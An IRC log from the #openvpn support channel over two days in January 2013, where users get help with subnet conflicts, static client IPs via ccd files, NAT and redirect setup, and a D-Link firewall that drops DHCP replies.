--- Day changed Tue Jan 01 2013
00:11 -!- joshie [~josh@joshie.net] has joined #openvpn
00:16 -!- brute11k [~brute11k@89.249.230.165] has joined #openvpn
01:34 -!- kyrix [~ashley@97-113-114-23.tukw.qwest.net] has joined #openvpn
01:57 -!- konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
02:04 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 245 seconds]
02:06 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
02:13 -!- joshie [~josh@joshie.net] has joined #openvpn
02:38 -!- kyrix [~ashley@97-113-114-23.tukw.qwest.net] has quit [Quit: Ex-Chat]
03:14 -!- konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has quit [Quit: 123asdf]
03:31 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has joined #openvpn
03:46 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
03:51 -!- |PaSa| [lamest@2a01:7e00::f03c:91ff:feae:c042] has joined #openvpn
03:51 -!- |PaSa| [lamest@2a01:7e00::f03c:91ff:feae:c042] has quit [Client Quit]
03:51 -!- |PaSa| [lamest@2a01:7e00::f03c:91ff:feae:c042] has joined #openvpn
03:51 -!- |PaSa| [lamest@2a01:7e00::f03c:91ff:feae:c042] has left #openvpn []
04:16 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
04:50 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
04:50 -!- highend [~highend@46.249.58.73] has left #openvpn []
04:56 -!- cosmicgate- [~minasan@46.228.205.104] has joined #openvpn
06:00 -!- sauce [sauce@ool-ad02adcb.dyn.optonline.net] has joined #openvpn
06:00 -!- sauce [sauce@ool-ad02adcb.dyn.optonline.net] has quit [Changing host]
06:00 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
06:20 -!- Porkepix [~Porkepix@81-67-102-99.rev.numericable.fr] has joined #openvpn
06:46 -!- brute11k [~brute11k@89.249.230.165] has quit [Read error: Operation timed out]
06:56 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
07:00 -!- brute11k [~brute11k@89.249.230.165] has joined #openvpn
07:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:25 -!- ag4ve [~ag4ve@96.26.67.194] has quit [Ping timeout: 245 seconds]
07:27 -!- ag4ve [~ag4ve@96.26.67.194] has joined #openvpn
07:29 -!- Porkepix [~Porkepix@81-67-102-99.rev.numericable.fr] has quit [Ping timeout: 252 seconds]
07:31 -!- Porkepix [~Porkepix@81-67-102-99.rev.numericable.fr] has joined #openvpn
07:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:56 -!- awdjadj [~IceChat77@91.225.135.254] has joined #openvpn
08:01 -!- Porkepix [~Porkepix@81-67-102-99.rev.numericable.fr] has quit [Ping timeout: 255 seconds]
08:02 -!- awdjadj [~IceChat77@91.225.135.254] has quit [Quit: Hard work pays off in the future, laziness pays off now]
08:27 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has quit [Read error: Connection reset by peer]
08:33 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 255 seconds]
08:33 -!- cosmicgate- [~minasan@46.228.205.104] has quit [Ping timeout: 260 seconds]
08:34 -!- cosmicgate- [~minasan@46.228.205.104] has joined #openvpn
08:37 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has joined #openvpn
08:59 -!- cosmicgate- [~minasan@46.228.205.104] has quit [Ping timeout: 245 seconds]
09:02 -!- cosmicgate- [~minasan@46.228.205.104] has joined #openvpn
09:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
09:14 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has quit [Read error: Connection reset by peer]
09:14 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has joined #openvpn
09:37 -!- cosmicgate- [~minasan@46.228.205.104] has quit [Ping timeout: 276 seconds]
09:40 -!- afuentes [~afuentes@188.84.110.5] has joined #openvpn
09:49 -!- Porkepix [~Porkepix@81-67-100-9.rev.numericable.fr] has joined #openvpn
09:50 -!- moore1 [~moore@41.206.15.33.vgccl.net] has joined #openvpn
09:53 -!- Porkepix [~Porkepix@81-67-100-9.rev.numericable.fr] has quit [Client Quit]
10:09 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
10:20 -!- master_of_master [~master_of@p57B5412B.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:22 -!- master_of_master [~master_of@p57B55644.dip.t-dialin.net] has joined #openvpn
10:33 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
10:45 -!- Porkepix [~Porkepix@81-67-100-9.rev.numericable.fr] has joined #openvpn
11:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:26 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
12:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
12:29 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:30 -!- moore1 [~moore@41.206.15.33.vgccl.net] has quit [Ping timeout: 252 seconds]
12:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
12:36 -!- ade_b [~Ade@koln-4d0dd7d8.pool.mediaWays.net] has joined #openvpn
12:36 -!- ade_b [~Ade@koln-4d0dd7d8.pool.mediaWays.net] has quit [Changing host]
12:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:42 -!- Porkepix [~Porkepix@81-67-100-9.rev.numericable.fr] has quit [Ping timeout: 255 seconds]
13:07 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
13:08 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
13:08 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
13:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:08 -!- mode/#openvpn [+o krzee] by ChanServ
13:27 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
13:31 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
13:57 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.225.wb.wifirst.net] has joined #openvpn
14:07 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
14:13 -!- ezhangin [~ezhangin@c-98-215-78-17.hsd1.in.comcast.net] has joined #openvpn
14:13 < ezhangin> hey guys
14:14 < ezhangin> i'm getting the possible route subnet conflict with the warning as WARNING: potential route subnet conflict between local LAN [192.168.1.0/255.255.255.0] and remote VPN [192.168.1.0/255.255.255.0] except the remote LAN should be 192.168.144.0/24
14:14 < ezhangin> no idea why it isn't showing as that
14:18 < pppingme> paste your config
14:20 < ezhangin> sure
14:20 < ezhangin> this works from my phone weirdly
14:21 < ezhangin> http://pastebin.com/pEvM0fTA
14:21 < ezhangin> if i use my phone as the internet source
14:23 < pppingme> I meant the server config..
14:24 < ezhangin> uh it's a synology let me see how to get that
14:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
14:26 < pppingme> you've got openvpn running on a synology nas?
14:27 < ezhangin> yeah it comes preinstalled
14:27 < ezhangin> it works when i use my phone as an internet source but not this network
14:27 < ezhangin> so weird
14:27 < ezhangin> i'm actually connected to the remote network just fine but i can't get to any of the machines because it is listing a conflict
14:27 < ezhangin> which doesn't make any sense
14:28 < pppingme> when you use your phone, you don't get the message, can you get to the remote network then?
14:29 < ezhangin> i can check
14:31 < ezhangin> brb swapping internet source
14:35 -!- ezhangin [~ezhangin@c-98-215-78-17.hsd1.in.comcast.net] has quit [Ping timeout: 245 seconds]
14:35 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
14:35 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
14:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
14:35 -!- mode/#openvpn [+o krzee] by ChanServ
14:40 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 255 seconds]
14:46 -!- brute11k [~brute11k@89.249.230.165] has quit [Ping timeout: 260 seconds]
14:46 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
14:50 -!- brute11k [~brute11k@89.249.230.165] has joined #openvpn
14:53 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
14:53 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
14:53 -!- inimino [~inimino@oftn/board/inimino] has quit [Ping timeout: 248 seconds]
14:54 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has quit [Excess Flood]
14:55 -!- bandroidx [~bandroidx@2607:f358:1:fed5:4:0:414:11] has joined #openvpn
14:58 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
15:00 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:00 -!- mode/#openvpn [+v s7r] by ChanServ
15:00 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
15:00 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
15:00 <+s7r> happy new year to all openvpn community ! ! !
15:10 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
15:10 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
15:10 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:15 < M4rc3l> happy new year s7r
15:16 -!- afuentes [~afuentes@188.84.110.5] has quit [Remote host closed the connection]
15:16 <+s7r> sa traim bine
15:20 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
15:21 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has quit [Ping timeout: 255 seconds]
15:31 -!- m0sphere [~m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
15:43 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.225.wb.wifirst.net] has quit [Read error: Connection reset by peer]
15:46 < m0sphere> I'm having issues with connecting to the internet from my win7 machine connected to my openvpn server and I believe it has something to do with iptables. I am unable to resolve hostnames, ping ip addresses, or do anything from the win7 machine when connected. here is my ifconfig, route -n, iptables postrouting chain and ipconfig from the windows 7 box http://pastebin.com/kE0qPv8B
15:47 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-137.28.wb.wifirst.net] has joined #openvpn
15:49 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-137.28.wb.wifirst.net] has quit [Client Quit]
16:02 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
16:09 -!- MaxeyPad [~MaxeyPad@96-29-230-119.dhcp.insightbb.com] has quit [Ping timeout: 252 seconds]
16:37 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
16:38 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Read error: Connection reset by peer]
16:54 -!- inimino [~inimino@oftn/board/inimino] has joined #openvpn
16:58 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:58 < kisom> m0sphere: Did you enable ipv4_forwarding? :)
17:02 -!- ade_b [~Ade@koln-4d0dd7d8.pool.mediaWays.net] has joined #openvpn
17:02 -!- ade_b [~Ade@koln-4d0dd7d8.pool.mediaWays.net] has quit [Changing host]
17:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
17:03 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
17:09 < m0sphere> i figured it out
17:09 < m0sphere> client was missing comp-lzo,
17:20 -!- MaxeyPad [~MaxeyPad@96-29-230-119.dhcp.insightbb.com] has joined #openvpn
17:30 <@krzee> m0sphere, for next time:
17:30 <@krzee> !redirect
17:30 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:30 <@vpnHelper> http://ircpimps.org/redirect.png
17:30 <@krzee> the flowchart at the end =]
17:30 <@krzee> i was too late tho
17:32 < m0sphere> ty
17:32 <@krzee> np
17:32 < m0sphere> i'm sure this wont be the last openvpn server i set up and frustrate myself with
17:34 <@EugeneKay> !refund
17:35 -!- Porkepix [~Porkepix@dispo-82-248-141-132.adsl.proxad.net] has joined #openvpn
17:35 <@EugeneKay> D'awww, this bot doesn't know it.
17:39 -!- medusaXX [~medusaxx@vpn-147-149.vpn.uni-mannheim.de] has joined #openvpn
17:39 < medusaXX> !welcome
17:39 < medusaXX> !goal
17:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:39 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:39 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:40 < medusaXX> is there an estimate how big the openvpn bandwidth overhead is due to encryption etc?
17:44 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has joined #openvpn
18:05 <@krzee> not that i know of
18:05 <@krzee> ild expect it to vary a bit depending on the traffic
18:06 <@krzee> since the overhead is per packet, not per byte
18:14 < medusaXX> hm ok
18:14 < medusaXX> makes sense
18:23 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
18:35 -!- cosmicgate- [~minasan@216.17.109.26] has joined #openvpn
18:42 -!- hjf [~hjf@184-0-17-190.fibertel.com.ar] has quit [Ping timeout: 276 seconds]
18:42 -!- medusaXX [~medusaxx@vpn-147-149.vpn.uni-mannheim.de] has quit []
19:11 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
19:20 -!- hjf [~hjf@184-0-17-190.fibertel.com.ar] has joined #openvpn
19:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:40 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
20:37 -!- cosmicgate-- [~minasan@113.210.99.116] has joined #openvpn
20:38 -!- cosmicgate- [~minasan@216.17.109.26] has quit [Ping timeout: 264 seconds]
20:50 -!- cosmicgate-- [~minasan@113.210.99.116] has quit []
20:51 -!- cosmicgate- [~minasan@216.17.109.26] has joined #openvpn
20:52 -!- F^4 [~FFForever@unaffiliated/ffforever] has joined #openvpn
20:56 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:04 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
21:05 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
21:10 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
21:10 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
21:21 -!- dli [~dli@64.231.53.50] has quit [Remote host closed the connection]
21:39 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has quit [Ping timeout: 255 seconds]
21:48 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has joined #openvpn
21:49 < staticsafe> !welcome
21:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:49 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:49 < staticsafe> !howto
21:49 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
22:11 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
22:26 -!- brute11k [~brute11k@89.249.230.165] has quit [Ping timeout: 265 seconds]
22:36 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
22:38 < kisom> !iporder
22:38 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
22:39 < kisom> !ipp
22:39 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
22:43 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
22:46 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
22:48 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
22:53 -!- cosmicgate-- [~minasan@113.210.99.116] has joined #openvpn
22:54 -!- cosmicgate- [~minasan@216.17.109.26] has quit [Ping timeout: 255 seconds]
22:57 -!- cosmicgate- [~minasan@198.147.22.172] has joined #openvpn
22:57 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Remote host closed the connection]
23:02 -!- cosmicgate-- [~minasan@113.210.99.116] has quit [Ping timeout: 260 seconds]
23:04 -!- cosmicgate- [~minasan@198.147.22.172] has quit [Ping timeout: 245 seconds]
23:07 -!- cosmicgate- [~minasan@216.17.109.26] has joined #openvpn
23:13 < pppingme> !iporder
23:13 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
23:14 < pppingme> !static
23:14 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
23:22 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
23:22 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
23:22 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
23:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:22 -!- mode/#openvpn [+o krzee] by ChanServ
23:23 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
23:29 -!- cosmicgate-- [~minasan@113.210.99.116] has joined #openvpn
23:30 -!- cosmicgate- [~minasan@216.17.109.26] has quit [Ping timeout: 276 seconds]
23:32 -!- cosmicgate- [~minasan@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
23:34 -!- cosmicgate-- [~minasan@113.210.99.116] has quit [Ping timeout: 276 seconds]
--- Day changed Wed Jan 02 2013
00:20 < kisom> I'm wondering how D-link is even running a business...
00:21 < kisom> Seems their recent Linux based firmware does not allow the WAN DHCP reply in iptables. So it brings down the network, and then some script runs that allows the DHCP response, and then everything is brought up again
00:22 < kisom> Which causes all connections to drop once an hour when the DHCP lease expires :D
00:22 < kisom> Do not buy Dlink!
00:22 <+pekster> Or just flash another OS like OpenWRT on it :P
00:23 <+pekster> FWIW, -m conntrack --ctstate ESTABLISHED will allow return DHCP traffic :P
00:25 < kisom> Not compatible
00:26 <+pekster> -m state --state ESTABLISHED will work too
00:26 < kisom> The problem is within the INPUT chain
00:26 < kisom> It drops traffic to the router itself
00:27 <+pekster> Sure. I don't do anything special for my DHCP traffic on my OpenWRT device. '-A INPUT -m state --state ESTABLISHED,RELATED' is good enough
00:27 <+pekster> Broken firewall rulesets are a dime a dozen
00:27 < kisom> Yeah, but this is vanilla Dlink firmware
00:27 < kisom> I just plugged it in
00:27 <+pekster> Yup
00:28 <+pekster> And this is why I run my own firewalls :P
00:28 <+pekster> I'd kinda like to find more FOSS stuff to seed just to run more connections through my hardware with 16M of RAM :P
00:29 <+pekster> DHCP leases can do fun stuff to OpenVPN too, depending on DHCP and ovpn configuration
00:48 -!- MaxeyPad_ [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
00:51 -!- MaxeyPad [~MaxeyPad@96-29-230-119.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds]
01:06 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has quit [Read error: Connection reset by peer]
01:08 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:09 -!- Porkepix [~Porkepix@dispo-82-248-141-132.adsl.proxad.net] has quit [Ping timeout: 260 seconds]
01:16 -!- Porkepix [~Porkepix@dispo-82-248-141-132.adsl.proxad.net] has joined #openvpn
01:31 -!- cosmicgate-- [~minasan@113.210.99.116] has joined #openvpn
01:32 -!- cosmicgate- [~minasan@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 255 seconds]
01:33 -!- cosmicgate- [~minasan@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
01:35 -!- cosmicgate-- [~minasan@113.210.99.116] has quit [Ping timeout: 265 seconds]
01:53 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
02:43 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has joined #openvpn
02:52 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has quit [Quit: valparaiso]
02:53 -!- cosmicgate-- [~minasan@113.210.99.116] has joined #openvpn
02:55 -!- cosmicgate- [~minasan@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 255 seconds]
03:00 -!- cosmicgate- [~minasan@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
03:02 -!- cosmicgate-- [~minasan@113.210.99.116] has quit [Ping timeout: 255 seconds]
03:03 -!- cosmicgate- [~minasan@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Client Quit]
03:14 -!- emate [~marcin@81.219.183.142] has joined #openvpn
03:14 < emate> Hi! I Have a problem with my ccd & ifconfig-push configuration.
03:14 <@krzee> !ifconfig-push
03:15 <@krzee> err
03:15 <@krzee> !static
03:15 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
03:15 < emate> I have ifconfig-push ifconfig-push 10.99.0.110 10.99.0.109
03:15 < emate> in ccd file
03:15 < emate> but, another client
03:15 -!- brute11k [~brute11k@89.249.230.92] has joined #openvpn
03:15 < emate> gets the same subnet
03:16 <@krzee> try giving static ips in a different subnet from your pool?
03:17 <@krzee> imagine this
03:17 <@krzee> if you have a dhcp network, giving ips 100-200
03:18 <@krzee> then you start plugging a bunch in
03:18 < emate> openvpn is handling dhcp
03:18 < emate> for clients
03:18 <@krzee> then you bring in a machine and program it a static ip of .100
03:18 <@krzee> what would happen?
03:18 <@krzee> but, you wouldnt do that… because you know to give static ips outside your dhcp pool
03:18 <@krzee> so do the same with openvpn
03:19 <@krzee> =]
03:19 < emate> so should i add new "route xxx.xxx.xx.xxx" line to my openvpn server
03:19 < emate> and assign addresses from this subnet?
03:19 <@krzee> you want some static and some not, right?
03:20 < emate> yes
03:20 <@krzee> yes, that is one way
03:20 <@krzee> another would be a client-connect script
03:20 <@krzee> !iporder
03:20 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
03:22 <@krzee> the first isn easier if you dont code
03:22 < emate> i already have client-connect script for iptables rules (acl), so i will use new subnet for static ips.
03:22 <@krzee> is*
03:22 <@krzee> oh ya?
03:22 <@krzee> if you already have a script which you coded it shouldnt be too hard
03:23 <@krzee> but ya the first method is quite easy too =]
03:24 < emate> if i use 'another subnet & ccd' method, will static-ip from ccd be visible in client-connect script?
03:24 <@krzee> be visible?
03:24 <@krzee> you mean like as a variable?
03:24 < emate> yes
03:24 <@krzee> no, unless you choose to read it in like any script could
03:25 <@krzee> so it wouldnt be passed by openvpn, but its quite available
03:26 < F^4> G'day
03:26 < emate> right now i assign ipbales rules for client based on ENV['ifconfig_pool_remote_ip']
03:26 < F^4> Is it possible to vpn a vpn for a faster cross-alantic uplink?
03:27 <@krzee> if you happen to have properly positioned servers, it is possible
03:27 <@krzee> sometimes by forcing your link a certain direction you get a faster route than would have happened naturally
03:28 <@krzee> you should not EXPECT this to happen, but it can happen
03:28 <@krzee> (which i know from personal experience)
03:28 < F^4> I figure a LA vpn -> uk vpn -> web should be faster than me -> uk vpn -> web.. no?
03:28 < emate> so, if i define static-ip for client in ccd dir, will client-connect script know what ip is defined in ccd dir?
03:29 <@krzee> F^4, impossible to know, you could get lucky
03:29 <@krzee> emate, as i said, only if you tell it to look for that in your script
03:30 <@krzee> they are 2 different ways to do it, a client-connect script overrides ccd ip addressing
03:30 < emate> krzee: ok, so i have to scan ccd dir in my client-connect script, right?
03:30 <@krzee> however any script could read the info in your ccd files, so it can be done
03:30 <@krzee> right
03:30 <@krzee> or you could make a more simple method in a single file
03:31 <@krzee> since its your script, you can store the data any way you like
03:31 <@krzee> including a db if you feel so inclined
03:31 <@krzee> F^4, ill share an anecdote with ya
03:31 <@krzee> i live in the caribbean on 3rd world internet, with servers in the usa
03:32 <@krzee> i used to have a server in florida which had great international links, and great links to the usa as well
03:32 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:32 <@krzee> when i redirected through that server, i had a better connection to usa than if i used the normal route my ISP gave me
03:34 < F^4> I just figured 2 1gbps connections would do a better job than my 10mbps connection hehe
03:34 < F^4> brb
03:34 <@krzee> i have redirected through many servers, and have only noticed benefit with that 1 server
03:35 <@krzee> F^4, in the end its still only a 10mps connection
03:35 <@krzee> the connections are between you and the internet, not your vpn servers and the internet
03:35 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
03:36 <@krzee> you're just adjusting your route (which normally adds hops and increases latency)
03:37 -!- Devastator [~devas@177.18.197.127] has joined #openvpn
03:37 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:37 <@krzee> however if you can test, go for it
03:38 < emate> krzee: ok, i see, i'll try to do this in client-connect script
03:39 < emate> krzee: thanks for help
03:40 -!- Devastator [~devas@177.18.197.127] has quit [Changing host]
03:40 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
03:41 < F^4> krzee, Like I said I have it all setup, but the one vpn isn't forwarding to the other one
03:44 <@krzee> emate, no problem, maybe if you get it working you could share it back on our wiki for the next guy =]
03:44 <@krzee> F^4, everything you need to understand is here:
03:44 <@krzee> !route
03:44 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
03:45 <@krzee> but you will need to really understand it
03:45 <@krzee> and treat any subnet behind the other peer as a "lan"
03:46 <@krzee> i call what you are doing vpnchains
03:46 <@krzee> i generally dont support it, but i wrote !route after figuring out how to do it
03:47 <@krzee> !serverlan
03:47 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
03:47 <@krzee> !clientlan
